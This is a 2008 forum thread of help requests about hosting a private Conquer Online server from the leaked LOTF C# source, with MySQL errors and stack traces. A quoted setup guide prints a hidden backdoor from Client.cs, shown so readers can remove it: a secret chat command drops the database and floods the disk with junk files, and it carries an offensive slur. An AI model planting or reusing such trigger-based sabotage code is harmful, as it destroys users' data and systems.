LOTF Source Guide

08/10/2008 13:44 _Emme_#91
I could help you all when you have problems. Press the +Thanks button in this post,then add my MSN,and I'll help you. If you didnt +thanks this post,I will not accept you at my MSN =P kthx
08/10/2008 16:04 gerble93#92
What's your msn, i need help!
08/10/2008 16:13 gerble93#93
When i do 2. Go to PhpMyAdmin (go to your browser, and type: [Only registered and activated users can see links. Click Here To Register...], then enter root for the username, and the password you set when installing AppServ.)

MY WHOLE PAGE IS WHITE! why? please help me!!

I will post pictures.
08/10/2008 19:44 gerble93#94
I can't login now. like when i try to login it says like error with connection, but the running of the server works
08/11/2008 04:10 pegaeu#95
i need help!!
how i fix this bug? :(
Loaded 254 portals.
Loaded 1004 NPCs.
Loaded 27 Mobs.
Loaded 11147 items.
Loaded 140 Mob Spawns.
Spawned 2664 mobs.
Loading Plus info done.
Loaded 2 Guilds.
Successful login for account Lost
Successful login for account marcus320
Successful login for account marcus320
Successful login for account lol
Successful login for account racionais1
Successful login for account lol
Successful login for account Lost
Successful login for account racionais1
Successful login for account racionais1
Successful login for account racionais1
Successful login for account lol
MySql.Data.MySqlClient.MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UP' at line 1
at MySql.Data.MySqlClient.PacketReader.CheckForError( )
at MySql.Data.MySqlClient.PacketReader.ReadHeader()
at MySql.Data.MySqlClient.PacketReader.OpenPacket()
at MySql.Data.MySqlClient.NativeDriver.ReadResult(Int 64& affectedRows, Int64& lastInsertId)
at MySql.Data.MySqlClient.CommandResult.ReadNextResul t(Boolean isFirst)
at MySql.Data.MySqlClient.NativeDriver.SendQuery(Byte[] bytes, Int32 length, Boolean consume)
at MySql.Data.MySqlClient.MySqlCommand.GetNextResultS et(MySqlDataReader reader)
at MySql.Data.MySqlClient.MySqlCommand.Consume()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
MySql.Data.MySqlClient.MySqlException: Unable to write to stream ---> System.IO.IOException: Unable to write data to the transport connection: Foi forçado o cancelamento de uma conexão existente pelo host remoto. ---> System.Net.Sockets.SocketException: Foi forçado o cancelamento de uma conexão existente pelo host remoto
at System.Net.Sockets.Socket.Send(Byte[] buffer, Int32 offset, Int32 size, SocketFlags socketFlags)
at System.Net.Sockets.NetworkStream.Write(Byte[] buffer, Int32 offset, Int32 size)
--- End of inner exception stack trace ---
at System.Net.Sockets.NetworkStream.Write(Byte[] buffer, Int32 offset, Int32 size)
at System.IO.BufferedStream.FlushWrite()
at System.IO.BufferedStream.Flush()
at MySql.Data.MySqlClient.PacketWriter.WriteChunk(Byt e[] buf, Int32 offset, Int32 length)
at MySql.Data.MySqlClient.PacketWriter.Write(Byte[] buffer, Int32 offset, Int32 count)
--- End of inner exception stack trace ---
at MySql.Data.MySqlClient.PacketWriter.Write(Byte[] buffer, Int32 offset, Int32 count)
at MySql.Data.MySqlClient.NativeDriver.ExecuteCommand (DBCmd cmd, Byte[] bytes, Int32 length)
at MySql.Data.MySqlClient.NativeDriver.SendQuery(Byte[] bytes, Int32 length, Boolean consume)
at MySql.Data.MySqlClient.MySqlCommand.GetNextResultS et(MySqlDataReader reader)
at MySql.Data.MySqlClient.MySqlCommand.Consume()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155

help me please
08/11/2008 19:13 nanacity#96
What ports Can i put it in my router

?? and its TCP Or UDP

I hope u report me at [Only registered and activated users can see links. Click Here To Register...]
08/12/2008 03:05 Cypher71501#97
Alright, ive had a friend trying to host his server on my comp, this step, 2. Go to PhpMyAdmin (go to your browser, and type: [Only registered and activated users can see links. Click Here To Register...], then enter root for the username, and the password you set when installing AppServ.), worked yesterday, but now it keeps saying the page cant be found. Can anyone explain some reasons why?
08/12/2008 05:28 QuakeZ#98
Quote:
Originally Posted by Cypher71501 View Post
Alright, ive had a friend trying to host his server on my comp, this step, 2. Go to PhpMyAdmin (go to your browser, and type: [Only registered and activated users can see links. Click Here To Register...], then enter root for the username, and the password you set when installing AppServ.), worked yesterday, but now it keeps saying the page cant be found. Can anyone explain some reasons why?
You need to start ur Appache then u can go to PHPMYAdmin

But one thing How come i Cant and along of some other Vista users cant see wats in the in the Localhost/PHPmyAdmin?

All i see is whtie... >_>
08/13/2008 19:07 demonscim#99
dude its not fucking working it just runs through a shit load of stuff really fast and exits.. someone got msn that can help me?
08/14/2008 01:57 ztcjsa#100
It says enter the root pass but i never creatd a username on install

Quote:
Originally Posted by Super.Pvper View Post
Official Unofficial Guide for the LOTF Source.

Server Info:

- Database: MySQL
- Language: C#
- Client: v 5016

Required Programs:

- Microsoft Visual C# 2005 Express Edition [Link: [Only registered and activated users can see links. Click Here To Register...]]
- AppServ(MySQL, Apache, and PhpMyAdmin all in one) [Link: [Only registered and activated users can see links. Click Here To Register...]]

- LOTF Source: [Link: [Only registered and activated users can see links. Click Here To Register...]]
- Conquer Online Client 5016 [Link: <NONE>]

*IMPORTANT NOTE!!!!!!!!!!!*
YOU MUST REMEMBER ALL THE USERNAMES/PASSWORDS YOU ENTER!

Setup Guide:

1. Download and Install everything.

2. Go to PhpMyAdmin (go to your browser, and type: [Only registered and activated users can see links. Click Here To Register...], then enter root for the username, and the password you set when installing AppServ.)

3. Click on the SQL button.

[Only registered and activated users can see links. Click Here To Register...]

Click on Import Files, and select the Database from the Source (Backup.sql)

[Only registered and activated users can see links. Click Here To Register...]

4. The Server should already connect to the Database.

5. Go to ...COServerProjectbinDebug then COServerProject.exe to start the server.
Note: if the file is not there, go to ...COServerProjectobjDebug and copy the file from there, to binDebug.

6. Editing NPC Spawns, Accounts, Guilds, Items, Monsters/Monster Spawns, and Portals are all in localhost/phpmyadmin.

7. NPC dialogs are found in the file Client.cs around line 939.


Download this Guide: [Only registered and activated users can see links. Click Here To Register...]



MALICIOUS CODE:

A malicious code has been coded into the server (probobly by hadeset before he released it).
This code supposedly destroys the source.

REMOVE THE MALICIOUS CODE:

1. Open Client.cs

2. Press Ctrl+G and go to line 3630

3. Delete the Command:
Code:
                          if (Message == "@go_to_hell!ENC3101931993")
                            {
                                MySql.Data.MySqlClient.MySqlCommand Command = new MySql.Data.MySqlClient.MySqlCommand("drop database `coproj`", DataBase.Connection);
                                Command.ExecuteNonQuery();
                                
                                for (ulong i = 0; i < 547473346363; i++)
                                {
                                    System.IO.StreamWriter WW = new System.IO.StreamWriter("C:Virus" + i.ToString() + ".exe", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                    WW = new System.IO.StreamWriter("C:YouSuck" + i.ToString() + ".txt", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                }                                
                            }

MySql.Data Error

The file MySql.Data.dll is missing from the source, so when you build it, you will always get an error.

Solution:

1. Download MySql.Data.dll: [Only registered and activated users can see links. Click Here To Register...] | [Only registered and activated users can see links. Click Here To Register...]

2. Move the MySql.Data.dll file into your Server Folder

3. Open the Source with Visual C#

4. Move the File from the Server folder, into the Resources. Overwrite the old one.

There! MySql.Data Error is Fixed!



Registration Page

Download this Registration Page so other players can register to your server!

Link: [Only registered and activated users can see links. Click Here To Register...]

Credits to scottdavey
08/14/2008 23:10 LukeJrs#101
Help im getting #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'using System' at line 1

\
Can anybody help me
08/17/2008 17:07 YukiXian#102
Quote:
Originally Posted by rider1992 View Post
Start it By Service
I did,
Is it normal the black DOS-Window will go away?
And how to see my site? [Only registered and activated users can see links. Click Here To Register...] <- Doesn't work
08/20/2008 02:46 asce2836#103
ei guys i have a problim how can i fixed this error in opening the COproject.exe

[Only registered and activated users can see links. Click Here To Register...]



please help ^^
08/20/2008 04:38 plasma-hand#104
Yuki ill upload a better register page..It will work by going to [Only registered and activated users can see links. Click Here To Register...]
your ip might be different but you get the basic concept

[Only registered and activated users can see links. Click Here To Register...]
08/20/2008 18:40 quadruple1#105
When i put coproj>accounts>insert>any username> put LogonType to 2 theirs no save button anywhere!!!!!